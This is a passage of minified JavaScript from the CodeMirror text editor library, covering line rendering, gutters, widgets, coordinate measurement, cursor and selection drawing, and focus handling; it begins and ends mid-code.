"+w.className),w.css&&(h=(h?h+";":"")+w.css),w.startStyle&&v.from==o&&(k+="
"+w.startStyle),w.endStyle&&v.to==r&&(t||(t=[])).push(w.endStyle,v.to),w.title&&((m||(m={})).title=w.title),w.attributes)for(var
x in
w.attributes)(m||(m={}))[x]=w.attributes[x];w.collapsed&&(!l||Ra(l.marker,w)<0)&&(l=v)}else
v.from>o&&r>v.from&&(r=v.from)}if(t)for(var
y=0;y<t.length;y+=2)t[y+1]==r&&(j+="
"+t[y]);if(!l||l.from==o)for(var
z=0;z<s.length;++z)nb(b,0,s[z]);if(l&&(l.from||0)==o){if(nb(b,(null==l.to?n+1:l.to)-o,l.marker,null==l.from),null==l.to)return;l.to==o&&(l=!1)}}if(o>=n)break;for(var
A=Math.min(n,r);;){if(q){var B=o+q.length;if(!l){var
C=B>A?q.slice(0,A-o):q;b.addToken(b,C,g?g+i:i,k,o+C.length==r?j:"",h,m)}if(B>=A){q=q.slice(A-o),o=A;break}o=B,k=""}q=e.slice(f,f=c[p++]),g=hb(c[p++],b.cm.options)}}else
for(var
D=1;D<c.length;D+=2)b.addToken(b,e.slice(f,f=c[D]),hb(c[D+1],b.cm.options))}function
pb(a,b,c){this.line=b,this.rest=Za(b),this.size=this.rest?da(p(this.rest))-c+1:1,this.node=this.text=null,this.hidden=ab(a,b)}function
qb(a,b,c){for(var d,e=[],f=b;f<c;f=d){var g=new
pb(a.doc,_(a.doc,f),f);d=f+g.size,e.push(g)}return e}function
rb(a){sh?sh.ops.push(a):a.ownsGroup=sh={ops:[a],delayedCallbacks:[]}}function
sb(a){var
b=a.delayedCallbacks,c=0;do{for(;c<b.length;c++)b[c].call(null);for(var
d=0;d<a.ops.length;d++){var
e=a.ops[d];if(e.cursorActivityHandlers)for(;e.cursorActivityCalled<e.cursorActivityHandlers.length;)e.cursorActivityHandlers[e.cursorActivityCalled++].call(null,e.cm)}}while(c<b.length)}function
tb(a,b){var c=a.ownsGroup;if(c)try{sb(c)}finally{sh=null,b(c)}}function
ub(a,b){var c=D(a,b);if(c.length){var
d,e=Array.prototype.slice.call(arguments,2);sh?d=sh.delayedCallbacks:th?d=th:(d=th=[],setTimeout(vb,0));for(var
f=0;f<c.length;++f)!(function(a){d.push((function(){return
c[a].apply(null,e)}))})(f)}}function vb(){var a=th;th=null;for(var
b=0;b<a.length;++b)a[b]()}function wb(a,b,c,d){for(var
e=0;e<b.changes.length;e++){var
f=b.changes[e];"text"==f?Ab(a,b):"gutter"==f?Cb(a,b,c,d):"class"==f?Bb(a,b):"widget"==f&&Db(a,b,d)}b.changes=null}function
xb(a){return
a.node==a.text&&(a.node=d("div",null,null,"position:
relative"),a.text.parentNode&&a.text.parentNode.replaceChild(a.node,a.text),a.node.appendChild(a.text),sg&&tg<8&&(a.node.style.zIndex=2)),a.node}function
yb(a,b){var c=b.bgClass?b.bgClass+"
"+(b.line.bgClass||""):b.line.bgClass;if(c&&(c+="
CodeMirror-linebackground"),b.background)c?b.background.className=c:(b.background.parentNode.removeChild(b.background),b.background=null);else
if(c){var
e=xb(b);b.background=e.insertBefore(d("div",null,c),e.firstChild),a.display.input.setUneditable(b.background)}}function
zb(a,b){var c=a.display.externalMeasured;return
c&&c.line==b.line?(a.display.externalMeasured=null,b.measure=c.measure,c.built):ib(a,b)}function
Ab(a,b){var
c=b.text.className,d=zb(a,b);b.text==b.node&&(b.node=d.pre),b.text.parentNode.replaceChild(d.pre,b.text),b.text=d.pre,d.bgClass!=b.bgClass||d.textClass!=b.textClass?(b.bgClass=d.bgClass,b.textClass=d.textClass,Bb(a,b)):c&&(b.text.className=c)}function
Bb(a,b){yb(a,b),b.line.wrapClass?xb(b).className=b.line.wrapClass:b.node!=b.text&&(b.node.className="");var
c=b.textClass?b.textClass+"
"+(b.line.textClass||""):b.line.textClass;b.text.className=c||""}function
Cb(a,b,c,e){if(b.gutter&&(b.node.removeChild(b.gutter),b.gutter=null),b.gutterBackground&&(b.node.removeChild(b.gutterBackground),b.gutterBackground=null),b.line.gutterClass){var
f=xb(b);b.gutterBackground=d("div",null,"CodeMirror-gutter-background
"+b.line.gutterClass,"left:
"+(a.options.fixedGutter?e.fixedPos:-e.gutterTotalWidth)+"px;
width:
"+e.gutterTotalWidth+"px"),a.display.input.setUneditable(b.gutterBackground),f.insertBefore(b.gutterBackground,b.text)}var
g=b.line.gutterMarkers;if(a.options.lineNumbers||g){var
h=xb(b),i=b.gutter=d("div",null,"CodeMirror-gutter-wrapper","left:
"+(a.options.fixedGutter?e.fixedPos:-e.gutterTotalWidth)+"px");if(a.display.input.setUneditable(i),h.insertBefore(i,b.text),b.line.gutterClass&&(i.className+="
"+b.line.gutterClass),!a.options.lineNumbers||g&&g["CodeMirror-linenumbers"]||(b.lineNumber=i.appendChild(d("div",ga(a.options,c),"CodeMirror-linenumber
CodeMirror-gutter-elt","left:
"+e.gutterLeft["CodeMirror-linenumbers"]+"px; width:
"+a.display.lineNumInnerWidth+"px"))),g)for(var
j=0;j<a.display.gutterSpecs.length;++j){var
k=a.display.gutterSpecs[j].className,l=g.hasOwnProperty(k)&&g[k];l&&i.appendChild(d("div",[l],"CodeMirror-gutter-elt","left:
"+e.gutterLeft[k]+"px; width:
"+e.gutterWidth[k]+"px"))}}}function
Db(b,c,d){c.alignable&&(c.alignable=null);for(var
e=a("CodeMirror-linewidget"),f=c.node.firstChild,g=void
0;f;f=g)g=f.nextSibling,e.test(f.className)&&c.node.removeChild(f);Fb(b,c,d)}function
Eb(a,b,c,d){var e=zb(a,b);return
b.text=b.node=e.pre,e.bgClass&&(b.bgClass=e.bgClass),e.textClass&&(b.textClass=e.textClass),Bb(a,b),Cb(a,b,c,d),Fb(a,b,d),b.node}function
Fb(a,b,c){if(Gb(a,b.line,b,c,!0),b.rest)for(var
d=0;d<b.rest.length;d++)Gb(a,b.rest[d],b,c,!1)}function
Gb(a,b,c,e,f){if(b.widgets)for(var
g=xb(c),h=0,i=b.widgets;h<i.length;++h){var
j=i[h],k=d("div",[j.node],"CodeMirror-linewidget"+(j.className?"
"+j.className:""));j.handleMouseEvents||k.setAttribute("cm-ignore-events","true"),Hb(j,k,c,e),a.display.input.setUneditable(k),f&&j.above?g.insertBefore(k,c.gutter||c.text):g.appendChild(k),ub(j,"redraw")}}function
Hb(a,b,c,d){if(a.noHScroll){(c.alignable||(c.alignable=[])).push(b);var
e=d.wrapperWidth;b.style.left=d.fixedPos+"px",a.coverGutter||(e-=d.gutterTotalWidth,b.style.paddingLeft=d.gutterTotalWidth+"px"),b.style.width=e+"px"}a.coverGutter&&(b.style.zIndex=5,b.style.position="relative",a.noHScroll||(b.style.marginLeft=-d.gutterTotalWidth+"px"))}function
Ib(a){if(null!=a.height)return a.height;var b=a.doc.cm;if(!b)return
0;if(!f(document.body,a.node)){var e="position:
relative;";a.coverGutter&&(e+="margin-left:
-"+b.display.gutters.offsetWidth+"px;"),a.noHScroll&&(e+="width:
"+b.display.wrapper.clientWidth+"px;"),c(b.display.measure,d("div",[a.node],null,e))}return
a.height=a.node.parentNode.offsetHeight}function Jb(a,b){for(var
c=O(b);c!=a.wrapper;c=c.parentNode)if(!c||1==c.nodeType&&"true"==c.getAttribute("cm-ignore-events")||c.parentNode==a.sizer&&c!=a.mover)return!0}function
Kb(a){return a.lineSpace.offsetTop}function Lb(a){return
a.mover.offsetHeight-a.lineSpace.offsetHeight}function
Mb(a){if(a.cachedPaddingH)return a.cachedPaddingH;var
b=c(a.measure,d("pre","x","CodeMirror-line-like")),e=window.getComputedStyle?window.getComputedStyle(b):b.currentStyle,f={left:parseInt(e.paddingLeft),right:parseInt(e.paddingRight)};return
isNaN(f.left)||isNaN(f.right)||(a.cachedPaddingH=f),f}function Nb(a){return
Qg-a.display.nativeBarWidth}function Ob(a){return
a.display.scroller.clientWidth-Nb(a)-a.display.barWidth}function
Pb(a){return
a.display.scroller.clientHeight-Nb(a)-a.display.barHeight}function
Qb(a,b,c){var
d=a.options.lineWrapping,e=d&&Ob(a);if(!b.measure.heights||d&&b.measure.width!=e){var
f=b.measure.heights=[];if(d){b.measure.width=e;for(var
g=b.text.firstChild.getClientRects(),h=0;h<g.length-1;h++){var
i=g[h],j=g[h+1];Math.abs(i.bottom-j.bottom)>2&&f.push((i.bottom+j.top)/2-c.top)}}f.push(c.bottom-c.top)}}function
Rb(a,b,c){if(a.line==b)return{map:a.measure.map,cache:a.measure.cache};for(var
d=0;d<a.rest.length;d++)if(a.rest[d]==b)return{map:a.measure.maps[d],cache:a.measure.caches[d]};for(var
e=0;e<a.rest.length;e++)if(da(a.rest[e])>c)return{map:a.measure.maps[e],cache:a.measure.caches[e],before:!0}}function
Sb(a,b){b=Xa(b);var d=da(b),e=a.display.externalMeasured=new
pb(a.doc,b,d);e.lineN=d;var f=e.built=ib(a,e);return
e.text=f.pre,c(a.display.lineMeasure,f.pre),e}function Tb(a,b,c,d){return
Wb(a,Vb(a,b),c,d)}function
Ub(a,b){if(b>=a.display.viewFrom&&b<a.display.viewTo)return
a.display.view[zc(a,b)];var c=a.display.externalMeasured;return
c&&b>=c.lineN&&b<c.lineN+c.size?c:void 0}function
Vb(a,b){var
c=da(b),d=Ub(a,c);d&&!d.text?d=null:d&&d.changes&&(wb(a,d,c,uc(a)),a.curOp.forceUpdate=!0),d||(d=Sb(a,b));var
e=Rb(d,b,c);return{line:b,view:d,rect:null,map:e.map,cache:e.cache,before:e.before,hasHeights:!1}}function
Wb(a,b,c,d,e){b.before&&(c=-1);var f,g=c+(d||"");return
b.cache.hasOwnProperty(g)?f=b.cache[g]:(b.rect||(b.rect=b.view.text.getBoundingClientRect()),b.hasHeights||(Qb(a,b.view,b.rect),b.hasHeights=!0),f=Zb(a,b,c,d),f.bogus||(b.cache[g]=f)),{left:f.left,right:f.right,top:e?f.rtop:f.top,bottom:e?f.rbottom:f.bottom}}function
Xb(a,b,c){for(var
d,e,f,g,h,i,j=0;j<a.length;j+=3)if(h=a[j],i=a[j+1],b<h?(e=0,f=1,g="left"):b<i?(e=b-h,f=e+1):(j==a.length-3||b==i&&a[j+3]>b)&&(f=i-h,e=f-1,b>=i&&(g="right")),null!=e){if(d=a[j+2],h==i&&c==(d.insertLeft?"left":"right")&&(g=c),"left"==c&&0==e)for(;j&&a[j-2]==a[j-3]&&a[j-1].insertLeft;)d=a[2+(j-=3)],g="left";if("right"==c&&e==i-h)for(;j<a.length-3&&a[j+3]==a[j+4]&&!a[j+5].insertLeft;)d=a[(j+=3)+2],g="right";break}return{node:d,start:e,end:f,collapse:g,coverStart:h,coverEnd:i}}function
Yb(a,b){var c=uh;if("left"==b)for(var
d=0;d<a.length&&(c=a[d]).left==c.right;d++);else for(var
e=a.length-1;e>=0&&(c=a[e]).left==c.right;e--);return c}function
Zb(a,b,c,d){var
e,f=Xb(b.map,c,d),g=f.node,h=f.start,i=f.end,j=f.collapse;if(3==g.nodeType){for(var
k=0;k<4;k++){for(;h&&x(b.line.text.charAt(f.coverStart+h));)--h;for(;f.coverStart+i<f.coverEnd&&x(b.line.text.charAt(f.coverStart+i));)++i;if(e=sg&&tg<9&&0==h&&i==f.coverEnd-f.coverStart?g.parentNode.getBoundingClientRect():Yb(Ig(g,h,i).getClientRects(),d),e.left||e.right||0==h)break;i=h,h-=1,j="right"}sg&&tg<11&&(e=$b(a.display.measure,e))}else{h>0&&(j=d="right");var
l;e=a.options.lineWrapping&&(l=g.getClientRects()).length>1?l["right"==d?l.length-1:0]:g.getBoundingClientRect()}if(sg&&tg<9&&!h&&(!e||!e.left&&!e.right)){var
m=g.parentNode.getClientRects()[0];e=m?{left:m.left,right:m.left+tc(a.display),top:m.top,bottom:m.bottom}:uh}for(var
n=e.top-b.rect.top,o=e.bottom-b.rect.top,p=(n+o)/2,q=b.view.measure.heights,r=0;r<q.length-1&&!(p<q[r]);r++);var
s=r?q[r-1]:0,t=q[r],u={left:("right"==j?e.right:e.left)-b.rect.left,right:("left"==j?e.left:e.right)-b.rect.left,top:s,bottom:t};return
e.left||e.right||(u.bogus=!0),a.options.singleCursorHeightPerLine||(u.rtop=n,u.rbottom=o),u}function
$b(a,b){if(!window.screen||null==screen.logicalXDPI||screen.logicalXDPI==screen.deviceXDPI||!S(a))return
b;var
c=screen.logicalXDPI/screen.deviceXDPI,d=screen.logicalYDPI/screen.deviceYDPI;return{left:b.left*c,right:b.right*c,top:b.top*d,bottom:b.bottom*d}}function
_b(a){if(a.measure&&(a.measure.cache={},a.measure.heights=null,
a.rest))for(var b=0;b<a.rest.length;b++)a.measure.caches[b]={}}function
ac(a){a.display.externalMeasure=null,b(a.display.lineMeasure);for(var
c=0;c<a.display.view.length;c++)_b(a.display.view[c])}function
bc(a){ac(a),a.display.cachedCharWidth=a.display.cachedTextHeight=a.display.cachedPaddingH=null,a.options.lineWrapping||(a.display.maxLineChanged=!0),a.display.lineNumChars=null}function
cc(){return
wg&&Cg?-(document.body.getBoundingClientRect().left-parseInt(getComputedStyle(document.body).marginLeft)):window.pageXOffset||(document.documentElement||document.body).scrollLeft}function
dc(){return
wg&&Cg?-(document.body.getBoundingClientRect().top-parseInt(getComputedStyle(document.body).marginTop)):window.pageYOffset||(document.documentElement||document.body).scrollTop}function
ec(a){var b=0;if(a.widgets)for(var
c=0;c<a.widgets.length;++c)a.widgets[c].above&&(b+=Ib(a.widgets[c]));return
b}function fc(a,b,c,d,e){if(!e){var
f=ec(b);c.top+=f,c.bottom+=f}if("line"==d)return
c;d||(d="local");var
g=cb(b);if("local"==d?g+=Kb(a.display):g-=a.display.viewOffset,"page"==d||"window"==d){var
h=a.display.lineSpace.getBoundingClientRect();g+=h.top+("window"==d?0:dc());var
i=h.left+("window"==d?0:cc());c.left+=i,c.right+=i}return
c.top+=g,c.bottom+=g,c}function gc(a,b,c){if("div"==c)return
b;var d=b.left,e=b.top;if("page"==c)d-=cc(),e-=dc();else
if("local"==c||!c){var
f=a.display.sizer.getBoundingClientRect();d+=f.left,e+=f.top}var
g=a.display.lineSpace.getBoundingClientRect();return{left:d-g.left,top:e-g.top}}function
hc(a,b,c,d,e){return
d||(d=_(a.doc,b.line)),fc(a,d,Tb(a,d,b.ch,e),c)}function
ic(a,b,c,d,e,f){function g(b,g){var
h=Wb(a,e,b,g?"right":"left",f);return
g?h.left=h.right:h.right=h.left,fc(a,d,h,c)}function h(a,b,c){var
d=i[b],e=1==d.level;return
g(c?a-1:a,e!=c)}d=d||_(a.doc,b.line),e||(e=Vb(a,d));var
i=C(d,a.doc.direction),j=b.ch,k=b.sticky;if(j>=d.text.length?(j=d.text.length,k="before"):j<=0&&(j=0,k="after"),!i)return
g("before"==k?j-1:j,"before"==k);var
l=B(i,j,k),m=Yg,n=h(j,l,"before"==k);return
null!=m&&(n.other=h(j,m,"before"!=k)),n}function
jc(a,b){var
c=0;b=oa(a.doc,b),a.options.lineWrapping||(c=tc(a.display)*b.ch);var
d=_(a.doc,b.line),e=cb(d)+Kb(a.display);return{left:c,right:c,top:e,bottom:e+d.height}}function
kc(a,b,c,d,e){var f=ha(a,b,c);return
f.xRel=e,d&&(f.outside=d),f}function lc(a,b,c){var
d=a.doc;if((c+=a.display.viewOffset)<0)return
kc(d.first,0,null,-1,-1);var e=ea(d,c),f=d.first+d.size-1;if(e>f)return
kc(d.first+d.size-1,_(d,f).text.length,null,1,1);b<0&&(b=0);for(var
g=_(d,e);;){var
h=pc(a,g,e,b,c),i=Va(g,h.ch+(h.xRel>0||h.outside>0?1:0));if(!i)return
h;var j=i.find(1);if(j.line==e)return j;g=_(d,e=j.line)}}function
mc(a,b,c,d){d-=ec(b);var e=b.text.length,f=z((function(b){return
Wb(a,c,b-1).bottom<=d}),e,0);return e=z((function(b){return
Wb(a,c,b).top>d}),f,e),{begin:f,end:e}}function nc(a,b,c,d){return
c||(c=Vb(a,b)),mc(a,b,c,fc(a,b,Wb(a,c,d),"line").top)}function
oc(a,b,c,d){return!(a.bottom<=c)&&(a.top>c||(d?a.left:a.right)>b)}function
pc(a,b,c,d,e){e-=cb(b);var
f=Vb(a,b),g=ec(b),h=0,i=b.text.length,j=!0,k=C(b,a.doc.direction);if(k){var
l=(a.options.lineWrapping?rc:qc)(a,b,c,f,k,d,e);j=1!=l.level,h=j?l.from:l.to-1,i=j?l.to:l.from-1}var
m,n,o=null,p=null,q=z((function(b){var c=Wb(a,f,b);return
c.top+=g,c.bottom+=g,!!oc(c,d,e,!1)&&(c.top<=e&&c.left<=d&&(o=b,p=c),!0)}),h,i),r=!1;if(p){var
s=d-p.left<p.right-d,t=s==j;q=o+(t?0:1),n=t?"after":"before",m=s?p.left:p.right}else{j||q!=i&&q!=h||q++,n=0==q?"after":q==b.text.length?"before":Wb(a,f,q-(j?1:0)).bottom+g<=e==j?"after":"before";var
u=ic(a,ha(c,q,n),"line",b,f);m=u.left,r=e<u.top?-1:e>=u.bottom?1:0}return
q=y(b.text,q,1),kc(c,q,n,r,d-m)}function qc(a,b,c,d,e,f,g){var
h=z((function(h){var i=e[h],j=1!=i.level;return
oc(ic(a,ha(c,j?i.to:i.from,j?"before":"after"),"line",b,d),f,g,!0)}),0,e.length-1),i=e[h];if(h>0){var
j=1!=i.level,k=ic(a,ha(c,j?i.from:i.to,j?"after":"before"),"line",b,d);oc(k,f,g,!0)&&k.top>g&&(i=e[h-1])}return
i}function rc(a,b,c,d,e,f,g){var
h=mc(a,b,d,g),i=h.begin,j=h.end;/\s/.test(b.text.charAt(j-1))&&j--;for(var
k=null,l=null,m=0;m<e.length;m++){var
n=e[m];if(!(n.from>=j||n.to<=i)){var
o=1!=n.level,p=Wb(a,d,o?Math.min(j,n.to)-1:Math.max(i,n.from)).right,q=p<f?f-p+1e9:p-f;(!k||l>q)&&(k=n,l=q)}}return
k||(k=e[e.length-1]),k.from<i&&(k={from:i,to:k.to,level:k.level}),k.to>j&&(k={from:k.from,to:j,level:k.level}),k}function
sc(a){if(null!=a.cachedTextHeight)return
a.cachedTextHeight;if(null==ph){ph=d("pre",null,"CodeMirror-line-like");for(var
e=0;e<49;++e)ph.appendChild(document.createTextNode("x")),ph.appendChild(d("br"));ph.appendChild(document.createTextNode("x"))}c(a.measure,ph);var
f=ph.offsetHeight/50;return
f>3&&(a.cachedTextHeight=f),b(a.measure),f||1}function
tc(a){if(null!=a.cachedCharWidth)return a.cachedCharWidth;var
b=d("span","xxxxxxxxxx"),e=d("pre",[b],"CodeMirror-line-like");c(a.measure,e);var
f=b.getBoundingClientRect(),g=(f.right-f.left)/10;return
g>2&&(a.cachedCharWidth=g),g||10}function uc(a){for(var
b=a.display,c={},d={},e=b.gutters.clientLeft,f=b.gutters.firstChild,g=0;f;f=f.nextSibling,++g){var
h=a.display.gutterSpecs[g].className;c[h]=f.offsetLeft+f.clientLeft+e,d[h]=f.clientWidth}return{fixedPos:vc(b),gutterTotalWidth:b.gutters.offsetWidth,gutterLeft:c,gutterWidth:d,wrapperWidth:b.wrapper.clientWidth}}function
vc(a){return
a.scroller.getBoundingClientRect().left-a.sizer.getBoundingClientRect().left}function
wc(a){var
b=sc(a.display),c=a.options.lineWrapping,d=c&&Math.max(5,a.display.scroller.clientWidth/tc(a.display)-3);return
function(e){if(ab(a.doc,e))return 0;var f=0;if(e.widgets)for(var
g=0;g<e.widgets.length;g++)e.widgets[g].height&&(f+=e.widgets[g].height);return
c?f+(Math.ceil(e.text.length/d)||1)*b:f+b}}function xc(a){var
b=a.doc,c=wc(a);b.iter((function(a){var
b=c(a);b!=a.height&&ca(a,b)}))}function yc(a,b,c,d){var
e=a.display;if(!c&&"true"==O(b).getAttribute("cm-not-content"))return
null;var
f,g,h=e.lineSpace.getBoundingClientRect();try{f=b.clientX-h.left,g=b.clientY-h.top}catch(a){return
null}var
i,j=lc(a,f,g);if(d&&j.xRel>0&&(i=_(a.doc,j.line).text).length==j.ch){var
k=l(i,i.length,a.options.tabSize)-i.length;j=ha(j.line,Math.max(0,Math.round((f-Mb(a.display).left)/tc(a.display))-k))}return
j}function zc(a,b){if(b>=a.display.viewTo)return
null;if((b-=a.display.viewFrom)<0)return null;for(var
c=a.display.view,d=0;d<c.length;d++)if((b-=c[d].size)<0)return
d}function
Ac(a,b,c,d){null==b&&(b=a.doc.first),null==c&&(c=a.doc.first+a.doc.size),d||(d=0);var
e=a.display;if(d&&c<e.viewTo&&(null==e.updateLineNumbers||e.updateLineNumbers>b)&&(e.updateLineNumbers=b),a.curOp.viewChanged=!0,b>=e.viewTo)nh&&$a(a.doc,b)<e.viewTo&&Cc(a);else
if(c<=e.viewFrom)nh&&_a(a.doc,c+d)>e.viewFrom?Cc(a):(e.viewFrom+=d,e.viewTo+=d);else
if(b<=e.viewFrom&&c>=e.viewTo)Cc(a);else
if(b<=e.viewFrom){var
f=Dc(a,c,c+d,1);f?(e.view=e.view.slice(f.index),e.viewFrom=f.lineN,e.viewTo+=d):Cc(a)}else
if(c>=e.viewTo){var
g=Dc(a,b,b,-1);g?(e.view=e.view.slice(0,g.index),e.viewTo=g.lineN):Cc(a)}else{var
h=Dc(a,b,b,-1),i=Dc(a,c,c+d,1);h&&i?(e.view=e.view.slice(0,h.index).concat(qb(a,h.lineN,i.lineN)).concat(e.view.slice(i.index)),e.viewTo+=d):Cc(a)}var
j=e.externalMeasured;j&&(c<j.lineN?j.lineN+=d:b<j.lineN+j.size&&(e.externalMeasured=null))}function
Bc(a,b,c){a.curOp.viewChanged=!0;var
d=a.display,e=a.display.externalMeasured;if(e&&b>=e.lineN&&b<e.lineN+e.size&&(d.externalMeasured=null),!(b<d.viewFrom||b>=d.viewTo)){var
f=d.view[zc(a,b)];if(null!=f.node){var
g=f.changes||(f.changes=[]);-1==m(g,c)&&g.push(c)}}}function
Cc(a){a.display.viewFrom=a.display.viewTo=a.doc.first,a.display.view=[],a.display.viewOffset=0}function
Dc(a,b,c,d){var
e,f=zc(a,b),g=a.display.view;if(!nh||c==a.doc.first+a.doc.size)return{index:f,lineN:c};for(var
h=a.display.viewFrom,i=0;i<f;i++)h+=g[i].size;if(h!=b){if(d>0){if(f==g.length-1)return
null;e=h+g[f].size-b,f++}else
e=h-b;b+=e,c+=e}for(;$a(a.doc,c)!=c;){if(f==(d<0?0:g.length-1))return
null;c+=d*g[f-(d<0?1:0)].size,f+=d}return{index:f,lineN:c}}function
Ec(a,b,c){var
d=a.display;0==d.view.length||b>=d.viewTo||c<=d.viewFrom?(d.view=qb(a,b,c),d.viewFrom=b):(d.viewFrom>b?d.view=qb(a,b,d.viewFrom).concat(d.view):d.viewFrom<b&&(d.view=d.view.slice(zc(a,b))),d.viewFrom=b,d.viewTo<c?d.view=d.view.concat(qb(a,d.viewTo,c)):d.viewTo>c&&(d.view=d.view.slice(0,zc(a,c)))),d.viewTo=c}function
Fc(a){for(var b=a.display.view,c=0,d=0;d<b.length;d++){var
e=b[d];e.hidden||e.node&&!e.changes||++c}return c}function
Gc(a){a.display.input.showSelection(a.display.input.prepareSelection())}function
Hc(a,b){void 0===b&&(b=!0);for(var
c=a.doc,d={},e=d.cursors=document.createDocumentFragment(),f=d.selection=document.createDocumentFragment(),g=0;g<c.sel.ranges.length;g++)if(b||g!=c.sel.primIndex){var
h=c.sel.ranges[g];if(!(h.from().line>=a.display.viewTo||h.to().line<a.display.viewFrom)){var
i=h.empty();(i||a.options.showCursorWhenSelecting)&&Ic(a,h.head,e),i||Kc(a,h,f)}}return
d}function Ic(a,b,c){var
e=ic(a,b,"div",null,null,!a.options.singleCursorHeightPerLine),f=c.appendChild(d("div"," ","CodeMirror-cursor"));if(f.style.left=e.left+"px",f.style.top=e.top+"px",f.style.height=Math.max(0,e.bottom-e.top)*a.options.cursorHeight+"px",e.other){var
g=c.appendChild(d("div"," ","CodeMirror-cursor
CodeMirror-secondarycursor"));g.style.display="",g.style.left=e.other.left+"px",g.style.top=e.other.top+"px",g.style.height=.85*(e.other.bottom-e.other.top)+"px"}}function
Jc(a,b){return a.top-b.top||a.left-b.left}function Kc(a,b,c){function
e(a,b,c,e){b<0&&(b=0),b=Math.round(b),e=Math.round(e),i.appendChild(d("div",null,"CodeMirror-selected","position:
absolute; left: "+a+"px;\n                             top:
"+b+"px; width: "+(null==c?l-a:c)+"px;\n               
             height: "+(e-b)+"px"))}function
f(b,c,d){function f(c,d){return hc(a,ha(b,c),"div",n,d)}function
g(b,c,d){var
e=nc(a,n,null,b),g="ltr"==c==("after"==d)?"left":"right";return
f("after"==d?e.begin:e.end-(/\s/.test(n.text.charAt(e.end-1))?2:1),g)[g]}var
i,j,n=_(h,b),o=n.text.length,p=C(n,h.direction);return
A(p,c||0,null==d?o:d,(function(a,b,h,n){var
q="ltr"==h,r=f(a,q?"left":"right"),s=f(b-1,q?"right":"left"),t=null==c&&0==a,u=null==d&&b==o,v=0==n,w=!p||n==p.length-1;if(s.top-r.top<=3){var
x=(m?t:u)&&v,y=(m?u:t)&&w,z=x?k:(q?r:s).left,A=y?l:(q?s:r).right;e(z,r.top,A-z,r.bottom)}else{var
B,C,D,E;q?(B=m&&t&&v?k:r.left,C=m?l:g(a,h,"before"),D=m?k:g(b,h,"after"),E=m&&u&&w?l:s.right):(B=m?g(a,h,"before"):k,C=!m&&t&&v?l:r.right,D=!m&&u&&w?k:s.left,E=m?g(b,h,"after"):l),e(B,r.top,C-B,r.bottom),r.bottom<s.top&&e(k,r.bottom,null,s.top),e(D,s.top,E-D,s.bottom)}(!i||Jc(r,i)<0)&&(i=r),Jc(s,i)<0&&(i=s),(!j||Jc(r,j)<0)&&(j=r),Jc(s,j)<0&&(j=s)})),{start:i,end:j}}var
g=a.display,h=a.doc,i=document.createDocumentFragment(),j=Mb(a.display),k=j.left,l=Math.max(g.sizerWidth,Ob(a)-g.sizer.offsetLeft)-j.right,m="ltr"==h.direction,n=b.from(),o=b.to();if(n.line==o.line)f(n.line,n.ch,o.ch);else{var
p=_(h,n.line),q=_(h,o.line),r=Xa(p)==Xa(q),s=f(n.line,n.ch,r?p.text.length+1:null).end,t=f(o.line,r?0:null,o.ch).start;r&&(s.top<t.top-2?(e(s.right,s.top,null,s.bottom),e(k,t.top,t.left,t.bottom)):e(s.right,s.top,t.left-s.right,s.bottom)),s.bottom<t.top&&e(k,s.bottom,null,t.top)}c.appendChild(i)}function
Lc(a){if(a.state.focused){var b=a.display;clearInterval(b.blinker);var
c=!0;b.cursorDiv.style.visibility="",a.options.cursorBlinkRate>0?b.blinker=setInterval((function(){return
b.cursorDiv.style.visibility=(c=!c)?"":"hidden"}),a.options.cursorBlinkRate):a.options.cursorBlinkRate<0&&(b.cursorDiv.style.visibility="hidden")}}function
Mc(a){a.state.focused||(a.display.input.focus(),Oc(a))}function
Nc(a){a.state.delayingBlurEvent=!0,setTimeout((function(){a.state.delayingBlurEvent&&(a.state.delayingBlurEvent=!1,Pc(a))}),100)}function
Oc(a,b){a.state.delayingBlurEvent&&(a.state.delayingBlurEvent=!1),"nocursor"!=a.options.readOnly&&(a.state.focused||(F(a,"focus",a,b),a.state.focused=!0,h(a.display.wrapper,"CodeMirror-focused"),a.curOp||a.display.selForContextMenu==a.doc.sel||(a.display.input.reset(),ug&&setTimeout((function(){return
a.display.input.reset(!0)}),20)),a.display.input.receivedFocus()),Lc(a))}function
Pc(a,b){a.state.delayingBlurEvent||(a.state.focused&&(F(a,"blur",a,b),a.state.focused=!1,Lg(a.display.wrapper,"CodeMirror-focused")),clearInterval(a.display.blinker),setTimeout((function(){a.state.focused||(a.display.shift=!1)}),150))}function
Qc(a){for(var
b=a.display,c=b.lineDiv.offsetTop,d=0;d<b.view.length;d++){var
e=b.view[d],f=a.options.lineWrapping,g=void
0,h=0;if(!e.hidden){if(sg&&tg<8){var
i=e.node.offsetTop+e.node.offsetHeight;g=i-c,c=i}else{var
j=e.node.getBoundingClientRect();g=j.bottom-j.top,!f&&e.text.firstChild&&(h=e.text.firstChild.getBoundingClientRect().right-j.left-1)}var
k=e.line.height-g;if((k>.005||k<-.005)&&(ca(e.line,g),Rc(e.line),e.rest))for(var
l=0;l<e.rest.length;l++)Rc(e.rest[l]);if(h>a.display.sizerWidth){var
m=Math.ceil(h/tc(a.display));m>a.display.maxLineLength&&(a.display.maxLineLength=m,a.display.maxLine=e.line,a.display.maxLineChanged=!0)}}}}function
Rc(a){if(a.widgets)for(var b=0;b<a.widgets.length;++b){var
c=a.widgets[b],d=c.node.parentNode;d&&(c.height=d.offsetHeight)}}function
Sc(a,b,c){var
d=c&&null!=c.top?Math.max(0,c.top):a.scroller.scrollTop;d=Math.floor(d-Kb(a));var
e=c&&null!=c.bottom?c.bottom:d+a.wrapper.clientHeight,f=ea(b,d),g=ea(b,e);if(c&&c.ensure){var
h=c.ensure.from.line,i=c.ensure.to.line;h<f?(f=h,g=ea(b,cb(_(b,h))+a.wrapper.clientHeight)):Math.min(i,b.lastLine())>=g&&(f=ea(b,cb(_(b,i))-a.wrapper.clientHeight),g=i)}return{from:f,to:Math.max(g,f+1)}}function
Tc(a,b){if(!G(a,"scrollCursorIntoView")){var
c=a.display,e=c.sizer.getBoundingClientRect(),f=null;if(b.top+e.top<0?f=!0:b.bottom+e.top>(window.innerHeight||document.documentElement.clientHeight)&&(f=!1),null!=f&&!Ag){var
g=d("div","​",null,"position: absolute;\n       
                 top: "+(b.top-c.viewOffset-Kb(a.display))+"px;\n
                        height:
"+(b.bottom-b.top+Nb(a)+c.barHeight)+"px;\n                      
  left: "+b.left+"px; width:
"+Math.max(2,b.right-b.left)+"px;");a.display.lineSpace.appendChild(g),g.scrollIntoView(f),a.display.lineSpace.removeChild(g)}}}function
Uc(a,b,c,d){null==d&&(d=0);var
